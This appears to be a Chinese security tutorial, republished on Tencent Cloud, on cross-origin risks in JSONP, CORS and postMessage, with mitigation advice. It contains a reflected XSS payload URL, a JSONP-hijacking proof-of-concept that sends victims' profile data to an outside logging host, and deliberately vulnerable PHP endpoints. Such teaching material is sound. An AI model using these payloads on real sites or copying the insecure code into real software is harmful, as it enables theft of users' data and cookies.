前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >浅谈跨域威胁与安全

浅谈跨域威胁与安全

作者头像
FB客服
发布于 2019-08-01 06:20:20
发布于 2019-08-01 06:20:20
2.3K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

WEB前端中最常见的两种安全风险,XSS与CSRF,XSS,即跨站脚本攻击、CSRF即跨站请求伪造,两者属于跨域安全攻击,对于常见的XSS以及CSRF在此不多谈论,仅谈论一些不太常见的跨域技术以及安全威胁。

一、 域

域,即域名对应的网站。不同的域名对应的不同的网站,相同的域名不同的端口也对应的不同的网站,因此,域,从字面意思以及实质意思都为空间,所以在web中空间即代表的是网站。

二、同源策略(SOP)

2.1 同源策略定义

同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。

同源策略必须要同时满足以下三个条件,只要有任何一个不同,都被当作是不同的域:

1、协议相同 2、域名相同 3、端口号相同

举例说明:

协议

域名

端口

是否同源

原因

http

www.a.com

80

http

www.b.com

80

域名不同

https

www.a.com

80

协议不同

http

www.a.com

8080

端口不同

2.2 同源策略限制

同源策略限制了只有同源的脚本才会被执行,当打开一个网站的时候,会首先检查是否同源,如果非同源,在请求数据的时候,浏览器就会进行拦截报异常,拒绝访问。

三、跨域本质

跨域本质就是绕过同源策略的严格限制,安全与实用往往有时候会有一定的矛盾性,开发人员更注重的是功能的开发使用,例如有时候同二级域名下的不同三级域名需要进行一些信息数据传输时,共享一些资源时,同源策略将其限制,但是又要实现该功能,此时就诞生了一些跨越请求的技术。

四、跨域技术

本文将介绍较大范围的跨域,即从一个域到另一个域都将其归为跨域。因此,将其归结为两种情况:

1、跨域请求

2、跨域跳转

五、跨域威胁

5.1 JSONP跨域

5.1.1 jsonp跨域原理

利用<script>标签没有跨域限制的漏洞,网页可以从其他来源域动态获取json数据,jsonp跨域请求一定需要对方的服务器支持才可以。

5.1.2 jsonp实现流程

1、服务端必须支持jsonp,且拥有jsonp跨域接口(前提) 2、浏览器客户端声明一个回调函数,其函数名作为参数值,要传递给跨域请求数据的服务器,函数形参为要获取到的返回目标数据 3、创建一个script标签,把跨域的API数据接口加载到src属性,并且在这个地址向服务器传递该回调函数名 4、服务器会将数据返回到浏览器客户端,此时客户端会调用回调函数,对返回的数据进行处理

5.1.3 jsonp代码实战

1、Talk is cheap,Show me code

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?phperror_reporting(0);$callback = $_GET['callback'];echo $callback."({'id':1,'name':'missfresh'})"?>

以上即为一个简单的jsonp的服务端接口,假设该接口是一个获取用户的个人信息的接口,那么此时只要请求该接口,每个用户就获取到自己该有的个人信息,

为了更加符合通常的开发实际情况,一般用户获取个人信息流程:

登陆->服务器验证->session->通过session判断用户->个人信息

2、Just Show Code

(1)登陆代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?phperror_reporting(0);session_start();$name = $_GET['name'];$pwd = $_GET['pwd'];if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){$_SESSION['name'] = $name;}echo '<a >用户信息</a><br>';echo '<a >退出登录</a><br data-tomark-pass>';if(!$_SESSION['name']){echo '<html><head><title>登录</title><meta charset="utf-8"></head><body><form action="login.php" method="get">用户名:<input type="text" name="name">密码:<input type="password" name="pwd"><input type="submit" name="submit" value="login"></form></body></html>';}else{echo "欢迎您".$_SESSION['name']."<br data-tomark-pass>";}?>

(2)获取个人信息代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?phperror_reporting(0);session_start();$callback = $_GET['callback'];if($_SESSION['name'] === 'admin'){echo $callback."({'id':1,'name':'missfresh_admin'})";}elseif ($_SESSION['name'] === 'guest') {echo $callback."({'id':2,'name':'missfresh_guest'})";}else{echo $callback."获取个人信息失败";}?>

3、代码效果演示

未登录前,访问个人信息接口

使用admin账户登陆后,访问个人信息接口

5.1.4 JSONP安全威胁

JSONP威胁点通常有两个:

1、对于输入的callback函数名过滤不严格,导致输入的数据直接输出到前端造成XSS 2、JSONP劫持漏洞,由于对于来源域没有严格限制,因此来源于不安全的域的请求也会被响应

1、XSS

反射性XSS漏洞很简单,在get请求中直接构造xss payload即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[http://172.16.31.149/jsonp/index.php?callback=jsonp_5981%3Cimg%20src=x%20onerror=alert]
(http://172.16.31.149/jsonp/index.php?callback=jsonp_5981%3Cimg%20src=x%20onerror=alert)(/xss/)%3E

危害:可以获取到用户的cookie信息或者劫持用户跳转到钓鱼网站

2、JSONP劫持

JSONP劫持,实质上算是一种读类型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。

(1)以示例代码为例,演示构造恶意利用POC

test.html

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<html><head><title>jsonp劫持</title><meta charset="utf-8"></head><script type="text/javascript" src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script><script>function jsonp_hack(v){alert("jsonp劫持");var h='';for(var key in v){var a=''a=key+' : '+v[key]+' ,'h+=a}alert(h);$.get('http://jsonp1.kijkv0.ceye.io?value='+h);}</script><script src="http://172.16.31.149/jsonp/index.php?callback=jsonp_hack"></script><body><h1>jsonp劫持</h1></body></html>

(2)漏洞利用效果

一旦被攻击者访问该网页,就会自动触发,会自动访问具有漏洞的jsonp接口,利用被攻击者自己的session获取到被攻击者的信息,并将该信息远程发送到攻击者的服务器上

(3)实际案例

以某电商为例,劫持该电商的用户购物车

5.2 CORS跨域

5.2.1 CORS跨域原理

CORS(Cross Origin Resource Sharing),跨域资源共享,为了弥补JSONP等跨域常见技术的缺陷,而提出的安全方便的跨域方案。它允许浏览器想跨域服务器,发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。

CORS需要浏览器和服务器同时支持,相比JSONP更加复杂,但是一般目前的浏览器都是支持的,服务器只需要进行相应配置,其通信过程都是浏览器自动完成,对于开发人员来说,跟写AJAX的代码没有区别,只是会在发送跨域请求时在HTTP请求头中添加一些字段来验证,关键字段如下:

1、Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。 2、Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。 3、Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。

5.2.2 CORS实现流程

1、服务器配置支持CORS,默认认可所有域都可以访问 2、浏览器客户端把所在的域填充到Origin发送跨域请求 3、服务器根据资源权限配置,在响应头中添加ccess-Control-Allow-Origin Header,返回结果 4、浏览器比较服务器返回的Access-Control-Allow-Origin Header和请求域的Origin,如果当前域获得授权,则将结果返回给页面

5.2.3 CORS代码实战

利用PHP代码实现CORS,只需要在服务器端的代码中加入header字段

1、a.missfresh.com服务端代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php$a = !empty($_GET['a']) ? trim($_GET['a']) : '';if($a == 'getUserInfo') {echo json_encode(array('uid' => 1,'name' => '测试',));} else {echo '';}

代码简单解释,声明一个个人信息的接口

2、b.missfresh.com域中客户端代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<!doctype html><html lang="zh-cn"><head><meta charset="UTF-8" /><title>cors-test</title></head><body><div ></div></body><script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script><script type="text/javascript">var url = "http://a.missfresh.com/cors.php";$.get(url, {a:"getUserInfo"}, function(data) {$(".userInfo").text("Id:" + data.uid + " Name:" + data.name);}, "json");</script></html>

代码简单解释,b.missfresh.com利用ajax异步访问a.missfresh.com个人信息接口

3、代码效果演示

可以看到被浏览器拦截,无法发起CORS请求

此时将a.missfresh.com服务端接口添加header头即可代码改为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?phpheader('Access-Control-Allow-Origin: *');header('Access-Control-Allow-Credentials: true');$a = !empty($_GET['a']) ? trim($_GET['a']) : '';if($a == 'getUserInfo') {echo json_encode(array('uid' => 1,'name' => '测试',));} else {echo '';}

此时就可以触发CORS

5.2.4 CORS安全威胁

CORS一般最常见的安全威胁就是CORS错误配置导致资源信息泄漏,与JSONP劫持基本上一致。

漏洞原理:通常开发人员使用CORS一般默认允许来自所有域或者由于错误的正则匹配方式造成绕过规定的白名单域

1、CORS漏洞利用前提

(1)有用户凭证的

(2)无用户凭证的

2、实际案例

以一加官网为例

登陆后,访问个人信息,然后利用burpsuite抓包,修改origin的域,发现任意域都可以被服务器接受

构造exp:

成功利用该exp:

5.3 PostMessage跨域

5.3.1 PostMessage跨域原理

PostMeaage是H5新引入的实现跨域窗口之间的通讯,可以安全地实现windows对象之间的跨域通信

PostMessage主要依靠Window.postMessage方法,该方法有三个参数

1、message:发送到其他窗口的数据 2、targetOrigin:接受数据消息的目标窗口,当该值为星号(* )表示任意一个域都可以接受消息 3、transfer:可选项,代表纤细的所有权

除了发送之外,必然有一个接受消息的窗口,一般用window.addEventListener(“message”,receiveMessage.false),用以接受消息数据

5.3.2 PostMessage实现流程

1、创建一个页面A,定义一个Postmessage方法 2、创建一个页面B,定义一个window.addEventListener(“message”,function)方法接受来源于Postmessage方法的消息 3、页面A使用Iframe标签包含页面B,触发Postmessage方法即可

5.3.3 PostMessage代码实战

1、post.missfresh.com

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<!DOCTYPE HTML><html><head><meta charset="utf-8"><title>missfresh-window.postMessage()跨域消息传递</title></head><body><div><input type="text" value="hello,missfresh" /><button >发送消息</button></div><iframe src="http://receive.missfresh.com/child.html" width="500" height="60"><p>你的浏览器不支持IFrame。</p></iframe><script>window.onload = function() {var receiver = document.getElementById('receiver').contentWindow;var btn = document.getElementById('send');btn.addEventListener('click', function (e) {e.preventDefault();var val = document.getElementById('text').value;receiver.postMessage(val+"!", "*");});}</script></body></html>

2、receive.missfresh.com

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<!DOCTYPE HTML><html><head><meta charset="utf-8"><title>missfresh-从post.missfresh.cn接收消息</title></head><body><div >

3、从post.missfresh.cn接收消息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
</div><script>window.onload = function() {var messageEle = document.getElementById('message');window.addEventListener('message', function (e) {alert(e.data);messageEle.innerHTML = "从"+ e.origin +"收到消息:" + e.data;});}</script></body></html>

4、代码演示效果

(1)未点击发送消息前

(2)点击发送消息后

5.3.4 PostMessage安全威胁

PostMessage跨越一般威胁点在于对于目标域限制不严格导致的,大多数开发人员由于对于postmessage防范中targetOrigin参数默认为* ,因此只要包含了该方法页面,构造利用代码,就能够获取到敏感信息。

1、漏洞利用前提

(1)页面存在点击劫持 (2)postmessage函数中的targetOrigin默认为* 或者targetOrigi对应的域不安全

2、实际案例

(1)构造xss

可以看到构造恶意xss,发送给目标域,就可以获取到目标域的cookie

(2)窗口劫持

窗口劫持则主要针对发送消息的域,劫持该消息

六、跨域安全场景

业务场景跨域场景主要有以下两个场景

1、共享个人信息数据 2、共享cookie数据

6.1 共享cookie数据

目前常见的一种形式,就是统一登陆,所有的大型企业,基本上都采用这种方式,登陆验证后会在所有的该企业其他同三级域中授权,因此一旦某个域出现安全威胁后,就可能窃取到用户的cookie信息,就可以利用该用户的cookie信息伪装用户操作

6.2 共享个人信息数据

有些时候,可能不存在类似xss这类漏洞,直接获取到用户的cookie信息,但是为了数据在资产域中交换,常常利用jsonp、cors技术,但是会存在配置错误就导致,默认所有域可访问、正则被绕过,引入的某个JS资源该服务器不安全等因素,导致数据被劫持

七、跨域安全方案

对于跨域的安全域,要严格控制信任域,禁止配置默认所有域的情况,对于限制的正则表达式要严格测试通过

对于引入的JS等执行脚本,需要保证来源的安全性,避免来源服务器本身的不安全威胁

对于边缘业务子域,要控制其可信度,避免从边缘业务的漏洞影响核心业务

对于非归属业务,禁止子域分配给其他归属,避免第三方不遵守安全,存在漏洞风险,造成对归属业务的影响

八、 参考文献

https://www.cnblogs.com/mq0036/p/8554139.html https://www.freebuf.com/vuls/194714.html https://p0sec.net/index.php/archives/124/

*本文作者:1u0hun,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-07-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
2022年编程语言排名,官方数据来了,让人大开眼界。「建议收藏」
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/139275.html原文链接:https://javaforall.cn
全栈程序员站长
2022/08/23
12.2K0
2022年编程语言排名,官方数据来了,让人大开眼界。「建议收藏」
IT入门知识第二部分《编程语言》(2/10)
在软件开发的世界里,编程语言是构建应用和系统的基石。选择合适的编程语言对于项目的成功至关重要。本文将深入探讨编程语言的概述、常见的编程语言特性及其在实际开发中的应用,以及在选择编程语言时应考虑的因素。
正在走向自律
2024/12/18
1450
IT入门知识第二部分《编程语言》(2/10)
Python与Java:探讨最适合你的编程语言
Python 与Java。🚀 这两个编程巨头经常成为争论的焦点,那么应该选择简单的 Python 还是健壮的 Java? Spring Boot ,Spring Boot ,Spring Boot ,Spring Boot Spring Cloud ,Spring Cloud ,Spring Cloud ,Spring Cloud
公众号:码到三十五
2024/10/26
1610
2024年,行业变动下的程序员应该首先学习哪种编程语言?
本文我们将和大家聊聊2024 年那些最流行的编程语言及其优势,以及分享一些在选择编程语言时的一些小TIPS,帮助大家更好的选择出适合的编程语言。
敏捷开发
2024/05/06
1.4K0
2024年,行业变动下的程序员应该首先学习哪种编程语言?
Go 语言 入门 && 基于 GoLand 2023.1 创建第一个Go程序
🌷🍁 博主猫头虎🐅🐾 带您进入 Golang 语言的新世界✨✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文并茂🦖生动形象🐅简单易学!欢迎大家来踩踩~🌺 🌊 《IDEA开发秘籍专栏》 🐾 学会IDEA常用操作,工作效率翻倍~💐 🌊 《100天精通Golang(基础入门篇)》 🐅 学会Golang语言,畅游云原生领域,无厂不可去~💐 🪁🍁 希望本文能给您带来价值🌸如果有任何不足,欢迎批评指正!🐅🐾🍁🐥
猫头虎
2024/04/08
6020
Go 语言 入门 && 基于 GoLand 2023.1 创建第一个Go程序
最新的十大编程语言排名和趋势分析
排名第1,当然非Java莫属了!Java在企业级应用中被广泛使用,并且拥有强大的生态系统。它也被认为是最容易入门的编程语言之一。
35岁程序员那些事
2023/08/18
3.3K0
最新的十大编程语言排名和趋势分析
来评选你心中的TOP1编程语言
首先,Go语言的极高执行效率一定是其中至关重要的一点。它是由谷歌公司在2007年推出的,将C++速度与Python的可读性相结合,同时也能到达Java的企业级开发应用水平。由此,Go语言能够处理大型、性能关键的项目,越来越受到企业应用的青睐。
猫头虎
2024/04/08
1120
来评选你心中的TOP1编程语言
最易学和最难学的编程语言Top 5
点击上方“芋道源码”,选择“设为星标” 管她前浪,还是后浪? 能浪的浪,才是好浪! 每天 10:33 更新文章,每天掉亿点点头发... 源码精品专栏 原创 | Java 2021 超神之路,很肝~ 中文详细注释的开源项目 RPC 框架 Dubbo 源码解析 网络应用框架 Netty 源码解析 消息中间件 RocketMQ 源码解析 数据库中间件 Sharding-JDBC 和 MyCAT 源码解析 作业调度中间件 Elastic-Job 源码解析 分布式事务中间件 TCC-Transaction
芋道源码
2022/03/14
1.3K0
什么是 Go ?Go 的优势和现状。初学者应该学习 Python 还是 Go?
先问一个大多数人可能会忽略的问题:Google 的这门开源编程语言叫 Go 还是 Golang?还是两个都行?给你三秒钟想一下 ...
Peter Shen
2022/03/29
1.5K0
什么是 Go ?Go 的优势和现状。初学者应该学习 Python 还是 Go?
代码简洁之道:一行Python代码解决问题是时尚还是玄学
👆点击“博文视点Broadview”,获取更多书讯 所谓一行流,就是把一个功能用一行代码去实现。Python的一行流既保证了代码的简洁,又不会牺牲很大的可读性。但一个看似如此简单的事情,如果不彻底掌握这门编程语言,是很难做到的。 我认为,Python 一行流能够帮助你提高编码技能,值得去学习,其原因还有下面五个。 ◎ 首先,通过提升你对 Python 核心技术的认知,可以克服许多一直在拖你后腿的编程弱点。没有对基础知识的深入理解,很难取得进步。单行代码是所有程序的基础构件,彻底理解这些基本构件之后,你
博文视点Broadview
2023/05/06
5450
代码简洁之道:一行Python代码解决问题是时尚还是玄学
Python称霸在即,3年后将取代Java成为最受欢迎开发语言
Python的6月Tiobe评级为8.53%,比去年同期上升2.77个百分点。目前排在Java和C之后,排名第三。而去年6月坐在这个位置上的是C++。
新智元
2019/06/19
4270
Python称霸在即,3年后将取代Java成为最受欢迎开发语言
学习Python的4个原因
你已经学过Python了吗?如果没有,那么现在是最好的时间。Python是一种非常流行的编程语言,被包括Google和Facebook在内的许多大型科技巨头所使用。Python以其简单性和可读性而闻名。此外,各种成熟库(Python模块)的可用性使Python成为几乎所有类型软件开发(包括人工智能和机器学习)的首选。在这篇博客文章中,我将讨论学习Python的好处。
liuxuewen
2018/09/17
7220
【解惑】一文告诉你,该学R还是Python!
Python和R是统计学中两种最流行的的编程语言,R的功能性主要是统计学家在开发时考虑的(R具有强大的可视化功能),而Python因为易于理解的语法被大家所接受。 在这篇文章中,我们将重点介绍R和Python以及它们在数据科学和统计上地位之间的差异。 关于R的介绍 Ross Ihaka和Robert Gentleman于1995年在S语言中创造了 开源语言R,目的是专注于提供更好和更人性化的方式做数据分析、统计和图形模型的语言。 起初R主要是在学术和研究使用,但近来企业界发现R也很不错。这使得中的R成为企
小莹莹
2018/04/20
8840
对于新程序员来说,Python与PHP相比如何?
Python是一种编程语言,可用于各种目的,因此它是一种通用编程语言。人工智能、机器学习、Web 开发、数据分析、游戏开发和财务预测模型只是其中的一小部分应用。Python被几乎所有当前的技术组织使用,包括Google和Netflix。
很酷的站长
2023/02/21
9140
对于新程序员来说,Python与PHP相比如何?
从零开始学习Python基础语法:打开编程大门的钥匙
https://cloud.tencent.com/developer/article/2465647?shareByChannel=link
忆愿
2024/11/26
1850
从零开始学习Python基础语法:打开编程大门的钥匙
【Python】从基础到进阶(一):了解Python语言基础以及变量的相关知识
Python是一种高级、解释型、通用的编程语言,由Guido van Rossum于20世纪90年代初创立。Python以其简洁易读的语法和强大的功能而闻名,使其成为新手和经验丰富的开发人员的首选语言之一。
空白诗
2024/06/24
1710
2020年,最适合AI的5种编程语言
AI系统的开发必须有计算机代码,而计算机程序的开发有不同类型的编程语言可以选择。本文分析哪些编程语言最适合你的人工智能或机器学习用例开发。
AI科技大本营
2020/02/19
1.6K0
2020年,最适合AI的5种编程语言
用列表推导式编写更优秀的Python代码
本教程演示如何使用Python的列表推导式,它为开发者提供了一种编写更高效、更易读代码的方法,用单行解决方案替换传统的循环。
云云众生s
2024/12/23
1590
如何入门编程语言,Java从入门到入土
自学编程首先需要选择一门编程语言。然后从易到难逐步学习。除此以外,还有一些需要注意的地方:
csdn博主eguid_1
2023/10/16
2420
长篇巨献|数据科学界华山论剑:R与Python巅峰对决
大数据文摘作品,欢迎个人转发朋友圈;其他机构、自媒体转载,务必后台留言,申请授权。 来源|DataCamp 编译|于婷婷 魏子敏 康欣 小小编辑| Ivy 如果你是数据分析领域的新兵,那么你一定很难抉择——在进行数据分析时,到底应该使用哪个语言,R还是Python?在网络上,也经常出现诸如“我想学习机器语言,我应该用哪个编程语言”或者“我想快速解决问题,我应该用R还是Python”等这类问题。尽管两个编程语言目前都是数据分析社区的佼佼者,但是它们仍在为成为数据科学家的首选编程语
大数据文摘
2018/05/21
1K0
推荐阅读
相关推荐
2022年编程语言排名,官方数据来了,让人大开眼界。「建议收藏」
更多 >
LV.1
普联软件前端开发工程师
目录
  • 一、 域
  • 二、同源策略(SOP)
    • 2.1 同源策略定义
    • 2.2 同源策略限制
  • 三、跨域本质
  • 四、跨域技术
  • 五、跨域威胁
    • 5.1 JSONP跨域
    • 5.2 CORS跨域
    • 5.3 PostMessage跨域
  • 六、跨域安全场景
    • 6.1 共享cookie数据
    • 6.2 共享个人信息数据
  • 七、跨域安全方案
  • 八、 参考文献
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档